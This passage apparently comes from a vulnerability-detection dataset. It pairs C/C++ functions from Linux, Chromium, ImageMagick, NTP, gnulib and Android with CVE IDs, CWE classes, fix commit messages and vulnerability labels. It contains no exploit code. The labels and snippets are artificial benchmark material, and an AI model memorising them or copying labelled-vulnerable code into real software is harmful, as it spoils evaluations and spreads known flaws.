case PERF_EVENT_IOC_DISABLE:
func = _perf_event_disable;
break;
case PERF_EVENT_IOC_RESET:
func = _perf_event_reset;
break;
case PERF_EVENT_IOC_REFRESH:
return _perf_event_refresh(event, arg);
case PERF_EVENT_IOC_PERIOD:
return perf_event_period(event, (u64 __user *)arg);
case PERF_EVENT_IOC_ID:
{
u64 id = primary_event_id(event);
if (copy_to_user((void __user *)arg, &id, sizeof(id)))
return -EFAULT;
return 0;
}
case PERF_EVENT_IOC_SET_OUTPUT:
{
int ret;
if (arg != -1) {
struct perf_event *output_event;
struct fd output;
ret = perf_fget_light(arg, &output);
if (ret)
return ret;
output_event = output.file->private_data;
ret = perf_event_set_output(event, output_event);
fdput(output);
} else {
ret = perf_event_set_output(event, NULL);
}
return ret;
}
case PERF_EVENT_IOC_SET_FILTER:
return perf_event_set_filter(event, (void __user *)arg);
case PERF_EVENT_IOC_SET_BPF:
return perf_event_set_bpf_prog(event, arg);
default:
return -ENOTTY;
}
if (flags & PERF_IOC_FLAG_GROUP)
perf_event_for_each(event, func);
else
perf_event_for_each_child(event, func);
return 0;
}
|
static long _perf_ioctl(struct perf_event *event, unsigned int cmd, unsigned long arg)
{
void (*func)(struct perf_event *);
u32 flags = arg;
switch (cmd) {
case PERF_EVENT_IOC_ENABLE:
func = _perf_event_enable;
break;
case PERF_EVENT_IOC_DISABLE:
func = _perf_event_disable;
break;
case PERF_EVENT_IOC_RESET:
func = _perf_event_reset;
break;
case PERF_EVENT_IOC_REFRESH:
return _perf_event_refresh(event, arg);
case PERF_EVENT_IOC_PERIOD:
return perf_event_period(event, (u64 __user *)arg);
case PERF_EVENT_IOC_ID:
{
u64 id = primary_event_id(event);
if (copy_to_user((void __user *)arg, &id, sizeof(id)))
return -EFAULT;
return 0;
}
case PERF_EVENT_IOC_SET_OUTPUT:
{
int ret;
if (arg != -1) {
struct perf_event *output_event;
struct fd output;
ret = perf_fget_light(arg, &output);
if (ret)
return ret;
output_event = output.file->private_data;
ret = perf_event_set_output(event, output_event);
fdput(output);
} else {
ret = perf_event_set_output(event, NULL);
}
return ret;
}
case PERF_EVENT_IOC_SET_FILTER:
return perf_event_set_filter(event, (void __user *)arg);
case PERF_EVENT_IOC_SET_BPF:
return perf_event_set_bpf_prog(event, arg);
default:
return -ENOTTY;
}
if (flags & PERF_IOC_FLAG_GROUP)
perf_event_for_each(event, func);
else
perf_event_for_each_child(event, func);
return 0;
}
|
C
|
linux
| 0 |
CVE-2017-16534
|
https://www.cvedetails.com/cve/CVE-2017-16534/
|
CWE-119
|
https://github.com/torvalds/linux/commit/2e1c42391ff2556387b3cb6308b24f6f65619feb
|
2e1c42391ff2556387b3cb6308b24f6f65619feb
|
USB: core: harden cdc_parse_cdc_header
Andrey Konovalov reported a possible out-of-bounds problem for the
cdc_parse_cdc_header function. He writes:
It looks like cdc_parse_cdc_header() doesn't validate buflen
before accessing buffer[1], buffer[2] and so on. The only check
present is while (buflen > 0).
So fix this issue up by properly validating the buffer length matches
what the descriptor says it is.
Reported-by: Andrey Konovalov <andreyknvl@google.com>
Tested-by: Andrey Konovalov <andreyknvl@google.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
|
static void usb_try_string_workarounds(unsigned char *buf, int *length)
{
int newlength, oldlength = *length;
for (newlength = 2; newlength + 1 < oldlength; newlength += 2)
if (!isprint(buf[newlength]) || buf[newlength + 1])
break;
if (newlength > 2) {
buf[0] = newlength;
*length = newlength;
}
}
|
static void usb_try_string_workarounds(unsigned char *buf, int *length)
{
int newlength, oldlength = *length;
for (newlength = 2; newlength + 1 < oldlength; newlength += 2)
if (!isprint(buf[newlength]) || buf[newlength + 1])
break;
if (newlength > 2) {
buf[0] = newlength;
*length = newlength;
}
}
|
C
|
linux
| 0 |
CVE-2015-8785
|
https://www.cvedetails.com/cve/CVE-2015-8785/
|
CWE-399
|
https://github.com/torvalds/linux/commit/3ca8138f014a913f98e6ef40e939868e1e9ea876
|
3ca8138f014a913f98e6ef40e939868e1e9ea876
|
fuse: break infinite loop in fuse_fill_write_pages()
I got a report about unkillable task eating CPU. Further
investigation shows, that the problem is in the fuse_fill_write_pages()
function. If iov's first segment has zero length, we get an infinite
loop, because we never reach iov_iter_advance() call.
Fix this by calling iov_iter_advance() before repeating an attempt to
copy data from userspace.
A similar problem is described in 124d3b7041f ("fix writev regression:
pan hanging unkillable and un-straceable"). If zero-length segmend
is followed by segment with invalid address,
iov_iter_fault_in_readable() checks only first segment (zero-length),
iov_iter_copy_from_user_atomic() skips it, fails at second and
returns zero -> goto again without skipping zero-length segment.
Patch calls iov_iter_advance() before goto again: we'll skip zero-length
segment at second iteraction and iov_iter_fault_in_readable() will detect
invalid address.
Special thanks to Konstantin Khlebnikov, who helped a lot with the commit
description.
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Maxim Patlasov <mpatlasov@parallels.com>
Cc: Konstantin Khlebnikov <khlebnikov@yandex-team.ru>
Signed-off-by: Roman Gushchin <klamm@yandex-team.ru>
Signed-off-by: Miklos Szeredi <miklos@szeredi.hu>
Fixes: ea9b9907b82a ("fuse: implement perform_write")
Cc: <stable@vger.kernel.org>
|
static int fuse_send_open(struct fuse_conn *fc, u64 nodeid, struct file *file,
int opcode, struct fuse_open_out *outargp)
{
struct fuse_open_in inarg;
FUSE_ARGS(args);
memset(&inarg, 0, sizeof(inarg));
inarg.flags = file->f_flags & ~(O_CREAT | O_EXCL | O_NOCTTY);
if (!fc->atomic_o_trunc)
inarg.flags &= ~O_TRUNC;
args.in.h.opcode = opcode;
args.in.h.nodeid = nodeid;
args.in.numargs = 1;
args.in.args[0].size = sizeof(inarg);
args.in.args[0].value = &inarg;
args.out.numargs = 1;
args.out.args[0].size = sizeof(*outargp);
args.out.args[0].value = outargp;
return fuse_simple_request(fc, &args);
}
|
static int fuse_send_open(struct fuse_conn *fc, u64 nodeid, struct file *file,
int opcode, struct fuse_open_out *outargp)
{
struct fuse_open_in inarg;
FUSE_ARGS(args);
memset(&inarg, 0, sizeof(inarg));
inarg.flags = file->f_flags & ~(O_CREAT | O_EXCL | O_NOCTTY);
if (!fc->atomic_o_trunc)
inarg.flags &= ~O_TRUNC;
args.in.h.opcode = opcode;
args.in.h.nodeid = nodeid;
args.in.numargs = 1;
args.in.args[0].size = sizeof(inarg);
args.in.args[0].value = &inarg;
args.out.numargs = 1;
args.out.args[0].size = sizeof(*outargp);
args.out.args[0].value = outargp;
return fuse_simple_request(fc, &args);
}
|
C
|
linux
| 0 |
CVE-2013-6626
|
https://www.cvedetails.com/cve/CVE-2013-6626/
| null |
https://github.com/chromium/chromium/commit/90fb08ed0146c9beacfd4dde98a20fc45419fff3
|
90fb08ed0146c9beacfd4dde98a20fc45419fff3
|
Cancel JavaScript dialogs when an interstitial appears.
BUG=295695
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/24360011
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
|
void WebContentsImpl::DidStartLoading(RenderViewHost* render_view_host) {
SetIsLoading(true, NULL);
FOR_EACH_OBSERVER(WebContentsObserver, observers_,
DidStartLoading(render_view_host));
}
|
void WebContentsImpl::DidStartLoading(RenderViewHost* render_view_host) {
SetIsLoading(true, NULL);
FOR_EACH_OBSERVER(WebContentsObserver, observers_,
DidStartLoading(render_view_host));
}
|
C
|
Chrome
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/befb46ae3385fa13975521e9a2281e35805b339e
|
befb46ae3385fa13975521e9a2281e35805b339e
|
2009-10-23 Chris Evans <cevans@chromium.org>
Reviewed by Adam Barth.
Added test for bug 27239 (ignore Refresh for view source mode).
https://bugs.webkit.org/show_bug.cgi?id=27239
* http/tests/security/view-source-no-refresh.html: Added
* http/tests/security/view-source-no-refresh-expected.txt: Added
* http/tests/security/resources/view-source-no-refresh.php: Added
2009-10-23 Chris Evans <cevans@chromium.org>
Reviewed by Adam Barth.
Ignore the Refresh header if we're in view source mode.
https://bugs.webkit.org/show_bug.cgi?id=27239
Test: http/tests/security/view-source-no-refresh.html
* loader/FrameLoader.cpp: ignore Refresh in view-source mode.
git-svn-id: svn://svn.chromium.org/blink/trunk@50018 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
void FrameLoader::continueLoadAfterNewWindowPolicy(const ResourceRequest& request,
PassRefPtr<FormState> formState, const String& frameName, bool shouldContinue)
{
if (!shouldContinue)
return;
RefPtr<Frame> frame = m_frame;
RefPtr<Frame> mainFrame = m_client->dispatchCreatePage();
if (!mainFrame)
return;
if (frameName != "_blank")
mainFrame->tree()->setName(frameName);
mainFrame->page()->setOpenedByDOM();
mainFrame->loader()->m_client->dispatchShow();
if (!m_suppressOpenerInNewFrame)
mainFrame->loader()->setOpener(frame.get());
mainFrame->loader()->loadWithNavigationAction(request, NavigationAction(), false, FrameLoadTypeStandard, formState);
}
|
void FrameLoader::continueLoadAfterNewWindowPolicy(const ResourceRequest& request,
PassRefPtr<FormState> formState, const String& frameName, bool shouldContinue)
{
if (!shouldContinue)
return;
RefPtr<Frame> frame = m_frame;
RefPtr<Frame> mainFrame = m_client->dispatchCreatePage();
if (!mainFrame)
return;
if (frameName != "_blank")
mainFrame->tree()->setName(frameName);
mainFrame->page()->setOpenedByDOM();
mainFrame->loader()->m_client->dispatchShow();
if (!m_suppressOpenerInNewFrame)
mainFrame->loader()->setOpener(frame.get());
mainFrame->loader()->loadWithNavigationAction(request, NavigationAction(), false, FrameLoadTypeStandard, formState);
}
|
C
|
Chrome
| 0 |
CVE-2017-5112
|
https://www.cvedetails.com/cve/CVE-2017-5112/
|
CWE-119
|
https://github.com/chromium/chromium/commit/f6ac1dba5e36f338a490752a2cbef3339096d9fe
|
f6ac1dba5e36f338a490752a2cbef3339096d9fe
|
Reset ES3 pixel pack parameters and PIXEL_PACK_BUFFER binding in DrawingBuffer before ReadPixels() and recover them later.
BUG=740603
TEST=new conformance test
R=kbr@chromium.org,piman@chromium.org
Change-Id: I3ea54c6cc34f34e249f7c8b9f792d93c5e1958f4
Reviewed-on: https://chromium-review.googlesource.com/570840
Reviewed-by: Antoine Labour <piman@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Commit-Queue: Zhenyao Mo <zmo@chromium.org>
Cr-Commit-Position: refs/heads/master@{#486518}
|
void WebGLRenderingContextBase::blendColor(GLfloat red,
GLfloat green,
GLfloat blue,
GLfloat alpha) {
if (isContextLost())
return;
ContextGL()->BlendColor(red, green, blue, alpha);
}
|
void WebGLRenderingContextBase::blendColor(GLfloat red,
GLfloat green,
GLfloat blue,
GLfloat alpha) {
if (isContextLost())
return;
ContextGL()->BlendColor(red, green, blue, alpha);
}
|
C
|
Chrome
| 0 |
CVE-2012-2867
|
https://www.cvedetails.com/cve/CVE-2012-2867/
| null |
https://github.com/chromium/chromium/commit/b7a161633fd7ecb59093c2c56ed908416292d778
|
b7a161633fd7ecb59093c2c56ed908416292d778
|
[GTK][WTR] Implement AccessibilityUIElement::stringValue
https://bugs.webkit.org/show_bug.cgi?id=102951
Reviewed by Martin Robinson.
Implement AccessibilityUIElement::stringValue in the ATK backend
in the same manner it is implemented in DumpRenderTree.
* WebKitTestRunner/InjectedBundle/atk/AccessibilityUIElementAtk.cpp:
(WTR::replaceCharactersForResults):
(WTR):
(WTR::AccessibilityUIElement::stringValue):
git-svn-id: svn://svn.chromium.org/blink/trunk@135485 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
int AccessibilityUIElement::rowCount()
{
if (!m_element || !ATK_IS_TABLE(m_element))
return 0;
return atk_table_get_n_rows(ATK_TABLE(m_element));
}
|
int AccessibilityUIElement::rowCount()
{
if (!m_element || !ATK_IS_TABLE(m_element))
return 0;
return atk_table_get_n_rows(ATK_TABLE(m_element));
}
|
C
|
Chrome
| 0 |
CVE-2016-1613
|
https://www.cvedetails.com/cve/CVE-2016-1613/
| null |
https://github.com/chromium/chromium/commit/7394cf6f43d7a86630d3eb1c728fd63c621b5530
|
7394cf6f43d7a86630d3eb1c728fd63c621b5530
|
Connect the LocalDB to TabManager.
Bug: 773382
Change-Id: Iec8fe5226ee175105d51f300f30b4865478ac099
Reviewed-on: https://chromium-review.googlesource.com/1118611
Commit-Queue: Sébastien Marchand <sebmarchand@chromium.org>
Reviewed-by: François Doray <fdoray@chromium.org>
Cr-Commit-Position: refs/heads/master@{#572871}
|
void DiscardAndExplicitlyReloadTest(DiscardReason reason) {
LifecycleUnit* background_lifecycle_unit = nullptr;
LifecycleUnit* foreground_lifecycle_unit = nullptr;
CreateTwoTabs(true /* focus_tab_strip */, &background_lifecycle_unit,
&foreground_lifecycle_unit);
content::WebContents* initial_web_contents =
tab_strip_model_->GetWebContentsAt(0);
EXPECT_EQ(LifecycleUnitState::ACTIVE,
background_lifecycle_unit->GetState());
EXPECT_CALL(tab_observer_, OnDiscardedStateChange(::testing::_, true));
background_lifecycle_unit->Discard(reason);
::testing::Mock::VerifyAndClear(&tab_observer_);
TransitionFromPendingDiscardToDiscardedIfNeeded(reason,
background_lifecycle_unit);
EXPECT_NE(initial_web_contents, tab_strip_model_->GetWebContentsAt(0));
EXPECT_FALSE(tab_strip_model_->GetWebContentsAt(0)
->GetController()
.GetPendingEntry());
EXPECT_CALL(tab_observer_, OnDiscardedStateChange(::testing::_, false));
tab_strip_model_->GetWebContentsAt(0)->GetController().Reload(
content::ReloadType::NORMAL, false);
::testing::Mock::VerifyAndClear(&tab_observer_);
EXPECT_EQ(LifecycleUnitState::ACTIVE,
background_lifecycle_unit->GetState());
EXPECT_TRUE(tab_strip_model_->GetWebContentsAt(0)
->GetController()
.GetPendingEntry());
}
|
void DiscardAndExplicitlyReloadTest(DiscardReason reason) {
LifecycleUnit* background_lifecycle_unit = nullptr;
LifecycleUnit* foreground_lifecycle_unit = nullptr;
CreateTwoTabs(true /* focus_tab_strip */, &background_lifecycle_unit,
&foreground_lifecycle_unit);
content::WebContents* initial_web_contents =
tab_strip_model_->GetWebContentsAt(0);
EXPECT_EQ(LifecycleUnitState::ACTIVE,
background_lifecycle_unit->GetState());
EXPECT_CALL(tab_observer_, OnDiscardedStateChange(testing::_, true));
background_lifecycle_unit->Discard(reason);
testing::Mock::VerifyAndClear(&tab_observer_);
TransitionFromPendingDiscardToDiscardedIfNeeded(reason,
background_lifecycle_unit);
EXPECT_NE(initial_web_contents, tab_strip_model_->GetWebContentsAt(0));
EXPECT_FALSE(tab_strip_model_->GetWebContentsAt(0)
->GetController()
.GetPendingEntry());
EXPECT_CALL(tab_observer_, OnDiscardedStateChange(testing::_, false));
tab_strip_model_->GetWebContentsAt(0)->GetController().Reload(
content::ReloadType::NORMAL, false);
testing::Mock::VerifyAndClear(&tab_observer_);
EXPECT_EQ(LifecycleUnitState::ACTIVE,
background_lifecycle_unit->GetState());
EXPECT_TRUE(tab_strip_model_->GetWebContentsAt(0)
->GetController()
.GetPendingEntry());
}
|
C
|
Chrome
| 1 |
CVE-2016-5217
|
https://www.cvedetails.com/cve/CVE-2016-5217/
|
CWE-284
|
https://github.com/chromium/chromium/commit/0d68cbd77addd38909101f76847deea56de00524
|
0d68cbd77addd38909101f76847deea56de00524
|
Fix PIP window being blank after minimize/show
DesktopWindowTreeHostX11::SetVisible only made the call into
OnNativeWidgetVisibilityChanged when transitioning from shown
to minimized and not vice versa. This is because this change
https://chromium-review.googlesource.com/c/chromium/src/+/1437263
considered IsVisible to be true when minimized, which made
IsVisible always true in this case. This caused layers to be hidden
but never shown again.
This is a reland of:
https://chromium-review.googlesource.com/c/chromium/src/+/1580103
Bug: 949199
Change-Id: I2151cd09e537d8ce8781897f43a3b8e9cec75996
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1584617
Reviewed-by: Scott Violet <sky@chromium.org>
Commit-Queue: enne <enne@chromium.org>
Cr-Commit-Position: refs/heads/master@{#654280}
|
void DesktopWindowTreeHostX11::BeforeActivationStateChanged() {
was_active_ = IsActive();
had_pointer_ = has_pointer_;
had_pointer_grab_ = has_pointer_grab_;
had_window_focus_ = has_window_focus_;
}
|
void DesktopWindowTreeHostX11::BeforeActivationStateChanged() {
was_active_ = IsActive();
had_pointer_ = has_pointer_;
had_pointer_grab_ = has_pointer_grab_;
had_window_focus_ = has_window_focus_;
}
|
C
|
Chrome
| 0 |
CVE-2011-2822
|
https://www.cvedetails.com/cve/CVE-2011-2822/
|
CWE-20
|
https://github.com/chromium/chromium/commit/a64c3cf0ab6da24a9a010a45ebe4794422d40c71
|
a64c3cf0ab6da24a9a010a45ebe4794422d40c71
|
Be a little more careful whether something is an URL or a file path.
BUG=72492
Review URL: http://codereview.chromium.org/7572046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@95731 0039d316-1c4b-4281-b951-d872f2087c98
|
static std::string FixupPath(const std::string& text) {
DCHECK(!text.empty());
FilePath::StringType filename;
#if defined(OS_WIN)
FilePath input_path(UTF8ToWide(text));
PrepareStringForFileOps(input_path, &filename);
if (filename.length() > 1 && filename[1] == '|')
filename[1] = ':';
#elif defined(OS_POSIX)
FilePath input_path(text);
PrepareStringForFileOps(input_path, &filename);
if (filename.length() > 0 && filename[0] == '~')
filename = FixupHomedir(filename);
#endif
GURL file_url = net::FilePathToFileURL(FilePath(filename));
if (file_url.is_valid()) {
return UTF16ToUTF8(net::FormatUrl(file_url, std::string(),
net::kFormatUrlOmitUsernamePassword, UnescapeRule::NORMAL, NULL,
NULL, NULL));
}
return text;
}
|
static std::string FixupPath(const std::string& text) {
DCHECK(!text.empty());
FilePath::StringType filename;
#if defined(OS_WIN)
FilePath input_path(UTF8ToWide(text));
PrepareStringForFileOps(input_path, &filename);
if (filename.length() > 1 && filename[1] == '|')
filename[1] = ':';
#elif defined(OS_POSIX)
FilePath input_path(text);
PrepareStringForFileOps(input_path, &filename);
if (filename.length() > 0 && filename[0] == '~')
filename = FixupHomedir(filename);
#endif
GURL file_url = net::FilePathToFileURL(FilePath(filename));
if (file_url.is_valid()) {
return UTF16ToUTF8(net::FormatUrl(file_url, std::string(),
net::kFormatUrlOmitUsernamePassword, UnescapeRule::NORMAL, NULL,
NULL, NULL));
}
return text;
}
|
C
|
Chrome
| 0 |
CVE-2016-4564
|
https://www.cvedetails.com/cve/CVE-2016-4564/
|
CWE-119
|
https://github.com/ImageMagick/ImageMagick/commit/726812fa2fa7ce16bcf58f6e115f65427a1c0950
|
726812fa2fa7ce16bcf58f6e115f65427a1c0950
|
Prevent buffer overflow in magick/draw.c
|
static inline void TracePoint(PrimitiveInfo *primitive_info,
const PointInfo point)
{
primitive_info->coordinates=1;
primitive_info->point=point;
}
|
static inline void TracePoint(PrimitiveInfo *primitive_info,
const PointInfo point)
{
primitive_info->coordinates=1;
primitive_info->point=point;
}
|
C
|
ImageMagick
| 0 |
CVE-2018-17942
|
https://www.cvedetails.com/cve/CVE-2018-17942/
|
CWE-119
|
https://github.com/coreutils/gnulib/commit/278b4175c9d7dd47c1a3071554aac02add3b3c35
|
278b4175c9d7dd47c1a3071554aac02add3b3c35
|
vasnprintf: Fix heap memory overrun bug.
Reported by Ben Pfaff <blp@cs.stanford.edu> in
<https://lists.gnu.org/archive/html/bug-gnulib/2018-09/msg00107.html>.
* lib/vasnprintf.c (convert_to_decimal): Allocate one more byte of
memory.
* tests/test-vasnprintf.c (test_function): Add another test.
|
test_vasnprintf ()
{
test_function (my_asnprintf);
}
|
test_vasnprintf ()
{
test_function (my_asnprintf);
}
|
C
|
gnulib
| 0 |
CVE-2019-5755
|
https://www.cvedetails.com/cve/CVE-2019-5755/
|
CWE-189
|
https://github.com/chromium/chromium/commit/2706470a422dec8f4ae2538e80f0e7e3c4f4f7f6
|
2706470a422dec8f4ae2538e80f0e7e3c4f4f7f6
|
[Payment Request][Desktop] Prevent use after free.
Before this patch, a compromised renderer on desktop could make IPC
methods into Payment Request in an unexpected ordering and cause use
after free in the browser.
This patch will disconnect the IPC pipes if:
- Init() is called more than once.
- Any other method is called before Init().
- Show() is called more than once.
- Retry(), UpdateWith(), NoupdatedPaymentDetails(), Abort(), or
Complete() are called before Show().
This patch re-orders the IPC methods in payment_request.cc to match the
order in payment_request.h, which eases verifying correctness of their
error handling.
This patch prints more errors to the developer console, if available, to
improve debuggability by web developers, who rarely check where LOG
prints.
After this patch, unexpected ordering of calls into the Payment Request
IPC from the renderer to the browser on desktop will print an error in
the developer console and disconnect the IPC pipes. The binary might
increase slightly in size because more logs are included in the release
version instead of being stripped at compile time.
Bug: 912947
Change-Id: Iac2131181c64cd49b4e5ec99f4b4a8ae5d8df57a
Reviewed-on: https://chromium-review.googlesource.com/c/1370198
Reviewed-by: anthonyvd <anthonyvd@chromium.org>
Commit-Queue: Rouslan Solomakhin <rouslan@chromium.org>
Cr-Commit-Position: refs/heads/master@{#616822}
|
void PaymentRequest::CanMakePaymentCallback(bool can_make_payment) {
if (!spec_ || CanMakePaymentQueryFactory::GetInstance()
->GetForContext(web_contents_->GetBrowserContext())
->CanQuery(top_level_origin_, frame_origin_,
spec_->stringified_method_data())) {
RespondToCanMakePaymentQuery(can_make_payment, false);
} else if (OriginSecurityChecker::IsOriginLocalhostOrFile(frame_origin_)) {
RespondToCanMakePaymentQuery(can_make_payment, true);
} else {
client_->OnCanMakePayment(
mojom::CanMakePaymentQueryResult::QUERY_QUOTA_EXCEEDED);
}
if (observer_for_testing_)
observer_for_testing_->OnCanMakePaymentReturned();
}
|
void PaymentRequest::CanMakePaymentCallback(bool can_make_payment) {
if (!spec_ || CanMakePaymentQueryFactory::GetInstance()
->GetForContext(web_contents_->GetBrowserContext())
->CanQuery(top_level_origin_, frame_origin_,
spec_->stringified_method_data())) {
RespondToCanMakePaymentQuery(can_make_payment, false);
} else if (OriginSecurityChecker::IsOriginLocalhostOrFile(frame_origin_)) {
RespondToCanMakePaymentQuery(can_make_payment, true);
} else {
client_->OnCanMakePayment(
mojom::CanMakePaymentQueryResult::QUERY_QUOTA_EXCEEDED);
}
if (observer_for_testing_)
observer_for_testing_->OnCanMakePaymentReturned();
}
|
C
|
Chrome
| 0 |
CVE-2015-5195
|
https://www.cvedetails.com/cve/CVE-2015-5195/
|
CWE-20
|
https://github.com/ntp-project/ntp/commit/52e977d79a0c4ace997e5c74af429844da2f27be
|
52e977d79a0c4ace997e5c74af429844da2f27be
|
[Bug 1773] openssl not detected during ./configure.
[Bug 1774] Segfaults if cryptostats enabled and built without OpenSSL.
|
leap_month(
u_long sec /* current NTP second */
)
{
int leap;
int32 year, month;
u_int32 ndays;
ntpcal_split tmp;
vint64 tvl;
/* --*-- expand time and split to days */
tvl = ntpcal_ntp_to_ntp(sec, NULL);
tmp = ntpcal_daysplit(&tvl);
/* --*-- split to years and days in year */
tmp = ntpcal_split_eradays(tmp.hi + DAY_NTP_STARTS - 1, &leap);
year = tmp.hi;
/* --*-- split days of year to month */
tmp = ntpcal_split_yeardays(tmp.lo, leap);
month = tmp.hi;
/* --*-- get nominal start of next month */
ndays = ntpcal_edate_to_eradays(year, month+1, 0) + 1 - DAY_NTP_STARTS;
return (u_int32)(ndays*SECSPERDAY - sec);
}
|
leap_month(
u_long sec /* current NTP second */
)
{
int leap;
int32 year, month;
u_int32 ndays;
ntpcal_split tmp;
vint64 tvl;
/* --*-- expand time and split to days */
tvl = ntpcal_ntp_to_ntp(sec, NULL);
tmp = ntpcal_daysplit(&tvl);
/* --*-- split to years and days in year */
tmp = ntpcal_split_eradays(tmp.hi + DAY_NTP_STARTS - 1, &leap);
year = tmp.hi;
/* --*-- split days of year to month */
tmp = ntpcal_split_yeardays(tmp.lo, leap);
month = tmp.hi;
/* --*-- get nominal start of next month */
ndays = ntpcal_edate_to_eradays(year, month+1, 0) + 1 - DAY_NTP_STARTS;
return (u_int32)(ndays*SECSPERDAY - sec);
}
|
C
|
ntp
| 0 |
CVE-2017-5093
|
https://www.cvedetails.com/cve/CVE-2017-5093/
|
CWE-20
|
https://github.com/chromium/chromium/commit/0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc
|
0720b02e4f303ea6b114d4ae9453e3a7ff55f8dc
|
If JavaScript shows a dialog, cause the page to lose fullscreen.
BUG=670135, 550017, 726761, 728276
Review-Url: https://codereview.chromium.org/2906133004
Cr-Commit-Position: refs/heads/master@{#478884}
|
void WebContentsImpl::DidGetRedirectForResourceRequest(
const ResourceRedirectDetails& details) {
for (auto& observer : observers_)
observer.DidGetRedirectForResourceRequest(details);
NotificationService::current()->Notify(
NOTIFICATION_RESOURCE_RECEIVED_REDIRECT,
Source<WebContents>(this),
Details<const ResourceRedirectDetails>(&details));
}
|
void WebContentsImpl::DidGetRedirectForResourceRequest(
const ResourceRedirectDetails& details) {
for (auto& observer : observers_)
observer.DidGetRedirectForResourceRequest(details);
NotificationService::current()->Notify(
NOTIFICATION_RESOURCE_RECEIVED_REDIRECT,
Source<WebContents>(this),
Details<const ResourceRedirectDetails>(&details));
}
|
C
|
Chrome
| 0 |
CVE-2015-0239
|
https://www.cvedetails.com/cve/CVE-2015-0239/
|
CWE-362
|
https://github.com/torvalds/linux/commit/f3747379accba8e95d70cec0eae0582c8c182050
|
f3747379accba8e95d70cec0eae0582c8c182050
|
KVM: x86: SYSENTER emulation is broken
SYSENTER emulation is broken in several ways:
1. It misses the case of 16-bit code segments completely (CVE-2015-0239).
2. MSR_IA32_SYSENTER_CS is checked in 64-bit mode incorrectly (bits 0 and 1 can
still be set without causing #GP).
3. MSR_IA32_SYSENTER_EIP and MSR_IA32_SYSENTER_ESP are not masked in
legacy-mode.
4. There is some unneeded code.
Fix it.
Cc: stable@vger.linux.org
Signed-off-by: Nadav Amit <namit@cs.technion.ac.il>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
|
static int em_push_sreg(struct x86_emulate_ctxt *ctxt)
{
int seg = ctxt->src2.val;
ctxt->src.val = get_segment_selector(ctxt, seg);
if (ctxt->op_bytes == 4) {
rsp_increment(ctxt, -2);
ctxt->op_bytes = 2;
}
return em_push(ctxt);
}
|
static int em_push_sreg(struct x86_emulate_ctxt *ctxt)
{
int seg = ctxt->src2.val;
ctxt->src.val = get_segment_selector(ctxt, seg);
if (ctxt->op_bytes == 4) {
rsp_increment(ctxt, -2);
ctxt->op_bytes = 2;
}
return em_push(ctxt);
}
|
C
|
linux
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/5041f984669fe3a989a84c348eb838c8f7233f6b
|
5041f984669fe3a989a84c348eb838c8f7233f6b
|
AutoFill: Release the cached frame when we receive the frameDestroyed() message
from WebKit.
BUG=48857
TEST=none
Review URL: http://codereview.chromium.org/3173005
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@55789 0039d316-1c4b-4281-b951-d872f2087c98
|
bool RenderView::runFileChooser(
const WebKit::WebFileChooserParams& params,
WebFileChooserCompletion* chooser_completion) {
ViewHostMsg_RunFileChooser_Params ipc_params;
ipc_params.mode = params.multiSelect ?
ViewHostMsg_RunFileChooser_Params::OpenMultiple :
ViewHostMsg_RunFileChooser_Params::Open;
ipc_params.title = params.title;
ipc_params.default_file_name =
webkit_glue::WebStringToFilePath(params.initialValue);
return ScheduleFileChooser(ipc_params, chooser_completion);
}
|
bool RenderView::runFileChooser(
const WebKit::WebFileChooserParams& params,
WebFileChooserCompletion* chooser_completion) {
ViewHostMsg_RunFileChooser_Params ipc_params;
ipc_params.mode = params.multiSelect ?
ViewHostMsg_RunFileChooser_Params::OpenMultiple :
ViewHostMsg_RunFileChooser_Params::Open;
ipc_params.title = params.title;
ipc_params.default_file_name =
webkit_glue::WebStringToFilePath(params.initialValue);
return ScheduleFileChooser(ipc_params, chooser_completion);
}
|
C
|
Chrome
| 0 |
CVE-2016-2476
|
https://www.cvedetails.com/cve/CVE-2016-2476/
|
CWE-119
|
https://android.googlesource.com/platform/frameworks/av/+/295c883fe3105b19bcd0f9e07d54c6b589fc5bff
|
295c883fe3105b19bcd0f9e07d54c6b589fc5bff
|
DO NOT MERGE Verify OMX buffer sizes prior to access
Bug: 27207275
Change-Id: I4412825d1ee233d993af0a67708bea54304ff62d
|
SoftVideoDecoderOMXComponent::SoftVideoDecoderOMXComponent(
const char *name,
const char *componentRole,
OMX_VIDEO_CODINGTYPE codingType,
const CodecProfileLevel *profileLevels,
size_t numProfileLevels,
int32_t width,
int32_t height,
const OMX_CALLBACKTYPE *callbacks,
OMX_PTR appData,
OMX_COMPONENTTYPE **component)
: SimpleSoftOMXComponent(name, callbacks, appData, component),
mIsAdaptive(false),
mAdaptiveMaxWidth(0),
mAdaptiveMaxHeight(0),
mWidth(width),
mHeight(height),
mCropLeft(0),
mCropTop(0),
mCropWidth(width),
mCropHeight(height),
mOutputPortSettingsChange(NONE),
mMinInputBufferSize(384), // arbitrary, using one uncompressed macroblock
mMinCompressionRatio(1), // max input size is normally the output size
mComponentRole(componentRole),
mCodingType(codingType),
mProfileLevels(profileLevels),
mNumProfileLevels(numProfileLevels) {
}
|
SoftVideoDecoderOMXComponent::SoftVideoDecoderOMXComponent(
const char *name,
const char *componentRole,
OMX_VIDEO_CODINGTYPE codingType,
const CodecProfileLevel *profileLevels,
size_t numProfileLevels,
int32_t width,
int32_t height,
const OMX_CALLBACKTYPE *callbacks,
OMX_PTR appData,
OMX_COMPONENTTYPE **component)
: SimpleSoftOMXComponent(name, callbacks, appData, component),
mIsAdaptive(false),
mAdaptiveMaxWidth(0),
mAdaptiveMaxHeight(0),
mWidth(width),
mHeight(height),
mCropLeft(0),
mCropTop(0),
mCropWidth(width),
mCropHeight(height),
mOutputPortSettingsChange(NONE),
mMinInputBufferSize(384), // arbitrary, using one uncompressed macroblock
mMinCompressionRatio(1), // max input size is normally the output size
